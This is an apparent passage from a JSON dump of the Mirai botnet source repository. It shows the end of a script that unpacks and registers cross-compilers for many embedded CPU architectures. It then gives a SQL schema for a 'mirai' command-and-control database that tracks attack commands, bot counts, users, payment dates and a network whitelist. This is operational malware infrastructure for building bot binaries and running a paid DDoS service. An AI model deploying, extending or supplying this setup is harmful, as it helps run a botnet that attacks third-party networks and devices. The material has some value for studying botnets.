...\"\ntar -jxf cross-compiler-powerpc.tar.bz2\necho \"extracting cross-compiler-sh4.tar.bz2 ...\"\ntar -jxf cross-compiler-sh4.tar.bz2\necho \"extracting cross-compiler-sparc.tar.bz2 ...\"\ntar -jxf cross-compiler-sparc.tar.bz2\n\necho \"removing all tar.bz2 from /etc/xcompile ...\"\nrm *.tar.bz2\necho \"move cross-compiler-armv4l to armv4l ...\"\nmv cross-compiler-armv4l armv4l\necho \"move cross-compiler-armv5l to armv5l ...\"\nmv cross-compiler-armv5l armv5l\necho \"move cross-compiler-armv6l to armv6l ...\"\nmv cross-compiler-armv6l armv6l\necho \"move cross-compiler-i586 to i586 ...\"\nmv cross-compiler-i586 i586\necho \"move cross-compiler-m68k to m68k ...\"\nmv cross-compiler-m68k m68k\necho \"move cross-compiler-mips to mips ...\"\nmv cross-compiler-mips mips\necho \"move cross-compiler-mipsel to mipsel ...\"\nmv cross-compiler-mipsel mipsel\necho \"move cross-compiler-powerpc to powerpc ...\"\nmv cross-compiler-powerpc powerpc\necho \"move cross-compiler-sh4 to sh4 ...\"\nmv cross-compiler-sh4 sh4\necho \"move cross-compiler-sparc to sparc ...\"\nmv cross-compiler-sparc sparc\n\necho \"export PATH ...\"\nexport PATH=$PATH:/etc/xcompile/armv4l/bin\nexport PATH=$PATH:/etc/xcompile/armv5l/bin\nexport PATH=$PATH:/etc/xcompile/armv6l/bin\nexport PATH=$PATH:/etc/xcompile/i586/bin\nexport PATH=$PATH:/etc/xcompile/m68k/bin\nexport PATH=$PATH:/etc/xcompile/mips/bin\nexport PATH=$PATH:/etc/xcompile/mipsel/bin\nexport PATH=$PATH:/etc/xcompile/powerpc/bin\nexport PATH=$PATH:/etc/xcompile/powerpc-440fp/bin\nexport PATH=$PATH:/etc/xcompile/sh4/bin\nexport PATH=$PATH:/etc/xcompile/sparc/bin\n"
  },
  {
    "path": "scripts/db.sql",
    "content": "CREATE DATABASE mirai;\n\nCREATE TABLE `history` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `user_id` int(10) unsigned NOT NULL,\n  `time_sent` int(10) unsigned NOT NULL,\n  `duration` int(10) unsigned NOT NULL,\n  `command` text NOT NULL,\n  `max_bots` int(11) DEFAULT '-1',\n  PRIMARY KEY (`id`),\n  KEY `user_id` (`user_id`)\n);\n\nCREATE TABLE `users` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `username` varchar(32) NOT NULL,\n  `password` varchar(32) NOT NULL,\n  `duration_limit` int(10) unsigned DEFAULT NULL,\n  `cooldown` int(10) unsigned NOT NULL,\n  `wrc` int(10) unsigned DEFAULT NULL,\n  `last_paid` int(10) unsigned NOT NULL,\n  `max_bots` int(11) DEFAULT '-1',\n  `admin` int(10) unsigned DEFAULT '0',\n  `intvl` int(10) unsigned DEFAULT '30',\n  `api_key` text,\n  PRIMARY KEY (`id`),\n  KEY `username` (`username`)\n);\n\nCREATE TABLE `whitelist` (\n  `id` int(10) unsigned NOT NULL AUTO_INCREMENT,\n  `prefix` varchar(16) DEFAULT NULL,\n  `netmask` tinyint(3) unsigned DEFAULT NULL,\n  PRIMARY KEY (`id`),\n  KEY `prefix` (`prefix`)\n);\n"
  }
]